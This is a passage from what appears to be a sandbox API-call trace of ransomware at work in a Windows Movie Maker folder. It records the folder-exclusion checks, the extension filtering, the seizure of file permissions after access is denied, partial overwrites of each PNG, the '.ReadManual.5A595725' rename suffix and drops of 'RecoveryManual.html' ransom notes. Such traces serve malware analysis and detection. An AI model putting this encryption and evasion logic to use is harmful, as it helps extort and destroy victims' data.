Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch="\\WindowsApps\\") returned 0x0 [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch="\\Windows Defender\\") returned 0x0 [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch="\\microsoft shared\\") returned 0x0 [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0252.658] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0252.658] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0252.658] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0252.658] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0252.658] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch="\\Tor Browser\\") returned 0x0 [0252.658] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0252.658] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\") returned 62 [0252.658] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff40 [0252.664] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\" [0252.664] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.664] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0252.664] lstrcpyW (in: lpString1=0x6ab918, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0252.664] lstrcmpiW (lpString1="1047x576black.png", lpString2="RecoveryManual.html") returned -1 [0252.664] StrStrIW (lpFirst="1047x576black.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.664] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.664] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.664] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.664] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.664] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.664] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.664] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.664] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.664] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.664] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.664] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.664] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.664] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.664] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.664] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" [0252.664] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png.ReadManual.5A595725" [0252.664] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png.ReadManual.5A595725") returned 99 [0252.665] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37333328470) returned 1 [0252.665] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png")) returned 0x20 [0252.666] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.666] GetLastError () returned 0x5 [0252.666] GetNamedSecurityInfoW () returned 0x0 [0252.666] SetNamedSecurityInfoW () returned 0x0 [0252.667] SetNamedSecurityInfoW () returned 0x0 [0252.668] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.668] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4570) returned 1 [0252.668] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11da, lpName=0x0) returned 0x1a0 [0252.668] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0252.669] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.669] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.670] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.670] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11da) returned 0x2f0000 [0252.670] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.670] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37333924632) returned 1 [0252.671] CloseHandle (hObject=0x1a0) returned 1 [0252.671] SetSecurityInfo () returned 0x5 [0252.671] SetSecurityInfo () returned 0x5 [0252.671] LocalFree (hMem=0x674d38) returned 0x0 [0252.671] CloseHandle (hObject=0x184) returned 1 [0252.671] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\" [0252.671] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\RecoveryManual.html" [0252.671] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0252.672] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0252.674] CloseHandle (hObject=0x184) returned 1 [0252.674] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0252.674] lstrcpyW (in: lpString1=0x6ab918, lpString2="203x8subpicture.png" | out: lpString1="203x8subpicture.png") returned="203x8subpicture.png" [0252.674] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.674] StrStrIW (lpFirst="203x8subpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.674] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.674] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.674] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.674] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.674] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.674] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.674] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.674] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.674] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.674] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.674] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.674] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.674] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.674] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.674] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" [0252.674] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png.ReadManual.5A595725" [0252.675] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png.ReadManual.5A595725") returned 101 [0252.675] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37334332770) returned 1 [0252.675] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png")) returned 0x20 [0252.675] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.675] GetLastError () returned 0x5 [0252.675] GetNamedSecurityInfoW () returned 0x0 [0252.676] SetNamedSecurityInfoW () returned 0x0 [0252.676] SetNamedSecurityInfoW () returned 0x0 [0252.678] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\203x8subpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.678] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2820) returned 1 [0252.678] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb04, lpName=0x0) returned 0x1a0 [0252.678] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0252.678] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.679] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.680] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.680] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb04) returned 0x2f0000 [0252.681] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.681] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37334944323) returned 1 [0252.681] CloseHandle (hObject=0x1a0) returned 1 [0252.681] SetSecurityInfo () returned 0x5 [0252.681] SetSecurityInfo () returned 0x5 [0252.681] LocalFree (hMem=0x674d38) returned 0x0 [0252.681] CloseHandle (hObject=0x184) returned 1 [0252.681] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="blackbars60.png", cAlternateFileName="")) returned 1 [0252.681] lstrcpyW (in: lpString1=0x6ab918, lpString2="blackbars60.png" | out: lpString1="blackbars60.png") returned="blackbars60.png" [0252.682] lstrcmpiW (lpString1="blackbars60.png", lpString2="RecoveryManual.html") returned -1 [0252.682] StrStrIW (lpFirst="blackbars60.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.682] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.682] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.682] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.682] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.682] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.682] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.682] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.682] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.682] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.682] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.682] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.682] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.682] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.682] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.682] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" [0252.682] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png.ReadManual.5A595725" [0252.682] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png.ReadManual.5A595725") returned 97 [0252.682] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37335084286) returned 1 [0252.682] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png")) returned 0x20 [0252.682] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.682] GetLastError () returned 0x5 [0252.683] GetNamedSecurityInfoW () returned 0x0 [0252.683] SetNamedSecurityInfoW () returned 0x0 [0252.683] SetNamedSecurityInfoW () returned 0x0 [0252.684] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.685] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=6431) returned 1 [0252.685] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x191f, lpName=0x0) returned 0x1a0 [0252.685] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0252.685] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.685] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.687] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.687] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x191f) returned 0x2f0000 [0252.688] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.688] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37335637643) returned 1 [0252.688] CloseHandle (hObject=0x1a0) returned 1 [0252.688] SetSecurityInfo () returned 0x5 [0252.688] SetSecurityInfo () returned 0x5 [0252.688] LocalFree (hMem=0x674d38) returned 0x0 [0252.688] CloseHandle (hObject=0x184) returned 1 [0252.688] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="layers.png", cAlternateFileName="")) returned 1 [0252.688] lstrcpyW (in: lpString1=0x6ab918, lpString2="layers.png" | out: lpString1="layers.png") returned="layers.png" [0252.688] lstrcmpiW (lpString1="layers.png", lpString2="RecoveryManual.html") returned -1 [0252.688] StrStrIW (lpFirst="layers.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.688] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.688] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.688] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.688] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.688] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.688] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.688] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.688] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.688] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.688] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.688] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.688] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.688] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.688] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.688] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" [0252.688] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png.ReadManual.5A595725" [0252.689] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png.ReadManual.5A595725") returned 92 [0252.689] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37335735864) returned 1 [0252.689] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png")) returned 0x20 [0252.689] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.689] GetLastError () returned 0x5 [0252.689] GetNamedSecurityInfoW () returned 0x0 [0252.689] SetNamedSecurityInfoW () returned 0x0 [0252.690] SetNamedSecurityInfoW () returned 0x0 [0252.691] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 